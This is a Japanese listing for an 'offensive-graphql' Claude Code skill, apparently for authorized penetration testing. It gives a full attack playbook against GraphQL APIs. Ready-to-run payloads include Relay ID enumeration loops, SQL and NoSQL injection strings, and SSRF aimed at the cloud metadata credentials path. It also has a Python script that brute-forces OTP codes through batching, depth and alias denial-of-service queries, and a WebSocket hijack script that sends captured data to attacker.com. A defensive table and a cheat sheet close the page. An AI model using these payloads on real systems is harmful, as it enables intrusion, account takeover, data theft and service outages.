offensive-graphql について
許可を得た GraphQL セキュリティ評価向けのスキルです。エンドポイントの発見、スキーマ再構築、アクセス制御、インジェクション、バッチ処理、リソース枯渇、サブスクリプションを扱います。
主な機能
- 01エンドポイント発見とフィンガープリント
- 02スキーマの内省と再構築
- 03認証・認可のテスト
- 04リゾルバーのインジェクションテスト
- 05バッチ処理とレート制限の評価
- 06サブスクリプションと DoS のテスト
活用シーン
- 01公開 GraphQL API の攻撃面を把握
- 02ネストしたフィールドのアクセス制御不備を確認
- 03リゾルバー引数のインジェクションを検証
- 04バッチ処理とクエリ資源制限を評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-graphqlインストール後、Claude Code で/offensive-graphqlを入力して読み込まれたか確認します。
詳細
GraphQL の攻撃的テスト
GraphQL は API 全体を単一のエンドポイントに集約するため、Web アプリケーションの評価において価値の高い標的となります。各ルートが個別のリソースに対応する REST とは異なり、GraphQL スキーマはすべての型、フィールド、ミューテーション、サブスクリプションを、クエリ可能な単一の構造で公開します。このスキーマを入手または再構築した攻撃者は、エクスプロイトを一つも書く前に、アプリケーションのデータモデル全体を把握できます。このスキルでは、具体的なクエリ、ツールの実行方法、攻撃の連鎖パターンを用いて、GraphQL エンゲージメントの各フェーズを説明します。
クイックワークフロー
- エンドポイントを発見する -- 一般的なパスを調べ、クライアント側の JS バンドルを確認し、WebSocket のアップグレードヘッダーをチェックします。
- 実装を特定する -- graphw00f を使ってエンジンを識別し、ペイロードを調整します。
- スキーマをダンプまたは再構築する -- 完全なイントロスペクションクエリを使用します。ブロックされている場合は、フィールド候補のプロービングまたは clairvoyance を使用します。
- 攻撃対象領域をマッピングする -- スキーマを GraphQL Voyager または InQL に読み込ませます。
- 認証と認可をテストする -- トークンなし、低権限、別ユーザーの各トークンで、すべてのクエリとミューテーションをテストします。
- リゾルバー経由でインジェクションする -- 引数や変数を通じて SQL、NoSQL、OS コマンドのペイロードを送信します。
- バッチ処理を悪用する -- 複数の操作を配列にして、ブルートフォース、OTP バイパス、レート制限の回避を試みます。
- 深度と複雑さに負荷をかける -- ネストしたクエリ、エイリアスの大量指定、循環フラグメントを試します。
- サブスクリプションを調べる -- トークンの期限切れや欠落がある状態で WebSocket を使用し、機密性の高いストリームを購読します。
- エラー経由で情報を窃取する -- 詳細なスタックトレース、型の不一致、フィールド候補を利用します。
- ファイルアップロードをテストする -- GraphQL のマルチパート仕様を使って、サイズ超過または悪意のあるファイルを試します。
- 攻撃を連鎖させ、権限を昇格する -- 発見事項を組み合わせ、概念実証クエリを使った複数ステップの攻撃経路を構成します。
1 -- エンドポイントの発見とフィンガープリンティング
最小限のクエリ本文を使って、一般的なパスを調べます。__typename の応答があれば、稼働中の GraphQL エンドポイントであることが確認できます。
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .
調査するパス:/graphql、/graphiql、/v1/graphql、/v2/graphql、/api/graphql、/graphql/console、/playground、/explorer、/query。GET リクエストを受け付けるサーバーもあります。
curl -s "https://target.com/graphql?query=\{__typename\}"
実装をフィンガープリントして、デフォルトの動作(イントロスペクションの状態、エラー形式、バッチ処理の構文)を特定します。
python3 graphw00f.py -t https://target.com/graphql
graphql-cop を実行して、1 回で設定を監査します。イントロスペクションの状態、フィールド候補の漏えい、GET ベースのクエリ受け入れ(CSRF のリスク)、制限のないバッチ処理を報告します。
python3 graphql-cop.py -t https://target.com/graphql
2 -- イントロスペクションとブラインドでのスキーマ再構築
イントロスペクションによる完全なダンプ
イントロスペクションが有効な場合は、1 回のリクエストですべてのスキーマを取得します。これは偵察において最も価値の高い手順です。
query FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}
結果を GraphQL Voyager に渡して視覚的に調べるか、Burp Suite で InQL を読み込みます。InQL はスキーマを解析し、すべてのフィールドとミューテーションについて個別のクエリを生成します。
対象を絞った __type クエリ
完全なイントロスペクションが無効でも、__type への問い合わせが機能する場合(サーバーが __schema をブロックして __type を忘れている、よくある設定ミス):
query { __type(name: "User") { name fields { name type { name kind } } } }
無効化されたイントロスペクションの回避
フィールド候補オラクル。 多くのエンジンは、存在しないフィールドをクエリすると「Did you mean...」を返します。ありそうな名前を送信し、候補を収集します。
query { __typename aaa }
{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}
clairvoyance を使ってこれを自動化できます。clairvoyance はワードリストを順に試し、候補を収集して、再構築したスキーマを組み立てます。
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
Apollo Sandbox。 対象が Apollo Server v3 以降を実行している場合は、ブラウザーでエンドポイントにアクセスします。Apollo Sandbox は、本番環境の切り替え設定がオフでも、クライアント側でイントロスペクションを実行します。サーバーが登録されている場合は、Apollo Studio のエクスプローラーも確認してください。
クライアント側のバンドル。 JS ファイルからクエリ文字列、フラグメント定義、型名を検索します。
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'
3 -- 認証と認可のバイパス
開発者が各リゾルバーでフィールド単位のチェックを手動で実装しなければならないため、認可の不具合は広く見られます。ネストしたフィールドでチェックが一つ欠けているだけで、オブジェクトグラフ全体が公開される可能性があります。
Relay のノード ID を介した IDOR
Relay は、不透明な Base64 エンコード ID(Type:numericID)で任意のオブジェクトを解決するグローバルな node インターフェースを公開しています。
echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123
他のユーザーの ID を生成し、node インターフェースを介してクエリします。
query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}
順番に列挙します。
for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done
ネストされたオブジェクトの認可の不備
トップレベルのクエリで適用される認可が、ネストされたリレーションに引き継がれないことがよくあります。自分の Order にアクセスしてから、customer フィールドをたどって他のユーザーのデータにアクセスできるか確認します。
query {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}
myOrders リゾルバーは自分の ID でフィルタリングしますが、Order の customer リゾルバーは所有権チェックなしで関連するユーザーを先行読み込みする可能性があります。
Relay のページネーションとカーソルの操作
不透明なカーソル(多くの場合、オフセットを Base64 エンコードしたもの)をデコードして値を操作します。カーソルが cursor:999 にデコードされる場合は、cursor:0 に設定して先頭からレコードにアクセスします。
query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}
Mutation の認可
状態を変更するすべての mutation について、トークンなし、低権限のトークン、テナントをまたぐトークンでテストします。
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }
4 -- リゾルバーを介したインジェクション
変数と引数はリゾルバー関数に直接渡されます。リゾルバーでの文字列連結は、従来型のインジェクション攻撃のベクトルになります。
変数を介した SQL インジェクション
query GetUser($name: String!) { user(name: $name) { id email } }
{"name": "admin' OR 1=1 --"}
UNION ベースのインジェクションで攻撃をエスカレートします。
{"name": "' UNION SELECT username, password FROM admin_users --"}
NoSQL インジェクション
MongoDB をバックエンドとするリゾルバーの場合:
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}
時間ベースの検出:
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }
ディレクティブのインジェクションとフラッディング
ディレクティブフラッディング(単一のフィールドに何千もの @include(if: true) ディレクティブを付加する攻撃)はパーサーをクラッシュさせます(async-graphql の CVE-2024-47614)。
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }
プログラムでディレクティブを 10,000 個含むペイロードを生成します。カスタムの @auth または @constraint ディレクティブも、サーバー側の動作を上書きするために操作できる引数を受け付ける場合があります。
リゾルバー引数を介した SSRF
mutation が URL 引数(Webhook、アバター、インポート)を受け付ける場合は、SSRF をテストします。
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }
5 -- バッチ攻撃
GraphQL サーバーは一般に、単一の HTTP リクエストで複数の操作を配列として受け付けます。バックエンドのレートリミッターは、バッチ内の個々の操作ではなく HTTP リクエストをカウントすることが多く、強力な回避攻撃を可能にします。
認証情報のブルートフォース
[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]
単一の HTTP リクエストに何百ものログイン試行を含められます。レートリミッターには 1 件のリクエストとして認識されます。
OTP/2FA の回避
可能な 4 桁の OTP 値をすべて、チャンクに分けてバッチ処理します。
import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")
エイリアスベースのバッチ処理
配列によるバッチ処理を拒否するサーバーでも、単一のクエリ内でエイリアスベースのバッチ処理を許可する場合があります。
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}
BatchQL と CrackQL で自動化します。
python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500
6 -- サービス拒否
サーバーが厳格なコスト制御を適用しない限り、GraphQL の柔軟なクエリ言語は本質的にリソース枯渇の影響を受けやすいものです。
深度爆弾
循環リレーションを悪用します。User の friends が [User] を返す場合、無限にネストできます。友達がそれぞれ 100 人いるユーザーに対して 8 階層ネストすると、100^8 回のリゾルバー呼び出しが発生します。
query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}
エイリアスによる増幅
エイリアスを使って、同じ高コストのフィールドを何千回もリクエストします。各エイリアスが個別にリゾルバーを呼び出します。
query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}
循環フラグメントの展開
古い実装では循環参照を検出できず、無限再帰が発生する可能性があります。
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }
インクリメンタル配信の悪用
サーバーが @defer と @stream をサポートしている場合、高コストのサブツリーにこれらを付加して、接続を開いたままにし、計算量を増大させます。
query {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}
7 -- サブスクリプションの悪用と WebSocket の乗っ取り
サブスクリプションは、graphql-ws または旧式の subscriptions-transport-ws プロトコルを使用して WebSocket 経由で実行されます。これらの長時間接続は、独自の攻撃対象領域となります。
認証されていないサブスクリプション
connection_init ペイロードに認証情報を含めずに接続してから、サブスクライブします。
{"type": "connection_init", "payload": {}}
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}
サーバーが connection_init を検証しない場合、新しい注文のリアルタイムイベントをすべて受信できます。
長時間接続でのトークン有効期限切れ
WebSocket 接続は初回のハンドシェイク後も維持されます。サーバーが connection_init 中にのみ JWT を検証する場合、セッション中に有効期限が切れたトークンも、接続が続く限り有効なままになります。有効期間の短いトークンで接続し、有効期限が切れるまで待ってから、新しいサブスクリプションを送信してテストします。
クロスサイト WebSocket ハイジャック(CSWSH)
WebSocket エンドポイントが Cookie に依存し、Origin ヘッダーを検証していない場合、悪意のあるページからハイジャックします。
<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.send(JSON.stringify({id:"1",type:"subscribe",
payload:{query:"subscription { sensitiveEvent { data } }"}}));
};
ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>
8 -- 情報漏えいとファイルアップロード
詳細すぎるエラーメッセージ
GraphQL エンジンは、エラーに実装の詳細を含めて返すことがよくあります。型が一致しない引数を送信し、スタックトレースを発生させます。
{
"errors": [{
"message": "invalid input syntax for type integer: \"abc\"",
"extensions": {
"exception": {
"stacktrace": [
"Error: invalid input syntax for type integer: \"abc\"",
" at /app/node_modules/pg/lib/client.js:526:17",
" at /app/src/resolvers/user.js:42:12"
]
}
}
}]
}
これにより、データベースドライバー(pg 経由の PostgreSQL)、ファイルパス、行番号が明らかになります。
スキーマを推測するフィールド提案
イントロスペクションが無効でも、プレフィックスを変えながら繰り返し試し、「Did you mean」レスポンスを利用してスキーマを再構築します。
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"
Hasura および Apollo 固有の情報漏えい
Hasura -- 管理者シークレットが強制されていない場合、x-hasura-role および x-hasura-user-id ヘッダーのインジェクションをテストします。
curl -s -X POST https://target.com/v1/graphql \
-H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
-d '{"query": "{ users { id email password_hash } }"}'
Apollo Federation -- _service フィールドをクエリし、サブグラフの完全な SDL を取得します。
query { _service { sdl } }
Multipart GraphQL によるファイルアップロード
マルチパートリクエスト仕様により、ミューテーションを通じてファイルをアップロードできます。パストラバーサル、制限のないファイル形式、サイズ超過のアップロードをテストします。
curl -s -X POST https://target.com/graphql \
-F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F map='{"0":["variables.file"]}' \
-F [email protected]
攻撃ベクトル:改変した map JSON パスによるパストラバーサル、コンテンツタイプへの信頼(.php/.jsp をアップロードし、マジックバイトの検証を確認)、サイズ制限のテストを目的とした数ギガバイトのアップロード、処理前にウェブからアクセスできる可能性のある予測可能な一時ファイルパス。
検出/防御側の視点
| 攻撃カテゴリ | 検出/防止 |
|---|---|
| イントロスペクションの悪用 | 本番環境では無効にします(introspection: false)。クエリログで __schema と __type を監視します。 |
| フィールド提案による推測 | 提案を無効にします(Apollo:カスタムプラグインで除去、Yoga:maskedErrors)。 |
| ノード ID による IDOR | すべてのリゾルバーで所有権を確認します。連番 ID ではなく UUID を使用します。 |
| ネストされた認証の抜け穴 | スキーマレベルの認可ディレクティブ(@auth、@hasRole)を使用します。トップレベルだけでなく、すべてのリゾルバーで確認します。 |
| SQL/NoSQL インジェクション | パラメーター化クエリのみを使用します。ユーザー入力を連結してはいけません。 |
| バッチ処理による総当たり | バッチサイズを制限します(最大 5 オペレーション)。HTTP リクエスト数ではなく、オペレーション数に基づいてレート制限を行います。 |
| エイリアスによる増幅 | エイリアス数を制限します。クエリコスト分析(graphql-query-complexity、GraphQL Armor)を使用します。 |
| 深度爆弾 | クエリの最大深度を 7~10 にします(graphql-depth-limit、GraphQL Armor)。 |
| サブスクリプションのハイジャック | connection_init ごとに認証を検証し、トークンを定期的に再検証して、Origin チェックを強制します。 |
| 詳細すぎるエラー | 本番環境では汎用的なエラーメッセージを使用します。スタックトレースとパスを除去します。 |
| ファイルアップロードの悪用 | マジックバイトで検証し、サイズ制限を設け、ウェブルートの外部に保存し、画像を再エンコードします。 |
| CSRF | Content-Type: application/json を必須にします。GET によるミューテーションを拒否します。Origin を検証します。 |
主要な強化ツール:GraphQL Armor(Apollo/Yoga/Envelop 向けの深度、エイリアス、コスト、文字数の制限)、永続クエリ(既知のオペレーションを許可リストに登録し、署名検証を伴う APQ でアドホッククエリを拒否)、および URL パラメーターだけでなく JSON 本文を解析して query フィールドを検査する WAF ルール。
エンゲージメント用チートシート
RECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager
BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser
AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Horizontal IDOR Decode Relay node IDs, substitute other user IDs
Vertical escalation Test admin mutations with low-privilege tokens
Nested traversal Follow relationships to reach unauthorized objects
Cursor manipulation Decode Relay cursors, modify offset values
INJECTION
SQLi via variables {"name": "admin' OR 1=1 --"}
NoSQL injection {"filter": {"$ne": ""}}
SSRF via URL args Point URL fields at 169.254.169.254
Directive flooding 10,000 @include(if: true) on a single field
BATCHING
Array batching [{"query":"mutation{login(...)}"}, ...]
Alias batching a1: login(...) a2: login(...) ...
OTP exhaustion Batch all 4-6 digit codes in chunks of 500
Tools CrackQL, BatchQL
DoS
Depth bomb Nest circular relationships 8+ levels
Alias amplification 1000+ aliases on an expensive resolver
Fragment cycle Circular fragment spreads (A -> B -> A)
Incremental delivery @defer/@stream on expensive subtrees
SUBSCRIPTIONS
No-auth subscribe connection_init with empty payload
Token expiry test Connect, wait for JWT expiry, send new subscription
CSWSH Cross-site WebSocket hijack via malicious page
FILE UPLOAD
Multipart spec -F operations=... -F map=... -F 0=@file
Path traversal Manipulate map JSON paths
Type bypass Upload executable with benign Content-Type
INFO DISCLOSURE
Verbose errors Type-mismatched arguments, observe stack traces
Federation SDL { _service { sdl } }
Hasura headers x-hasura-role: admin without admin secret
主要な参考資料
- GraphQL 仕様:https://spec.graphql.org/
- GraphQL マルチパートリクエスト仕様:https://github.com/jaydenseric/graphql-multipart-request-spec
- InQL(Burp 拡張機能):https://github.com/doyensec/inql
- graphql-cop(セキュリティ監査ツール):https://github.com/dolevf/graphql-cop
- CrackQL(バッチ処理/ブルートフォース):https://github.com/nicholasaleks/CrackQL
- BatchQL(バッチクエリツール):https://github.com/assetnote/batchql
- clairvoyance(スキーマ再構築):https://github.com/nikitastupin/clairvoyance
- graphw00f(フィンガープリンティング):https://github.com/dolevf/graphw00f
- GraphQL Voyager(可視化):https://graphql-kit.com/graphql-voyager/
- Altair GraphQL Client:https://altairgraphql.dev/
- GraphQL Armor(セキュリティ強化):https://github.com/Escape-Technologies/graphql-armor
- OWASP GraphQL チートシート:https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- HackTricks GraphQL:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html
- Damn Vulnerable GraphQL Application:https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application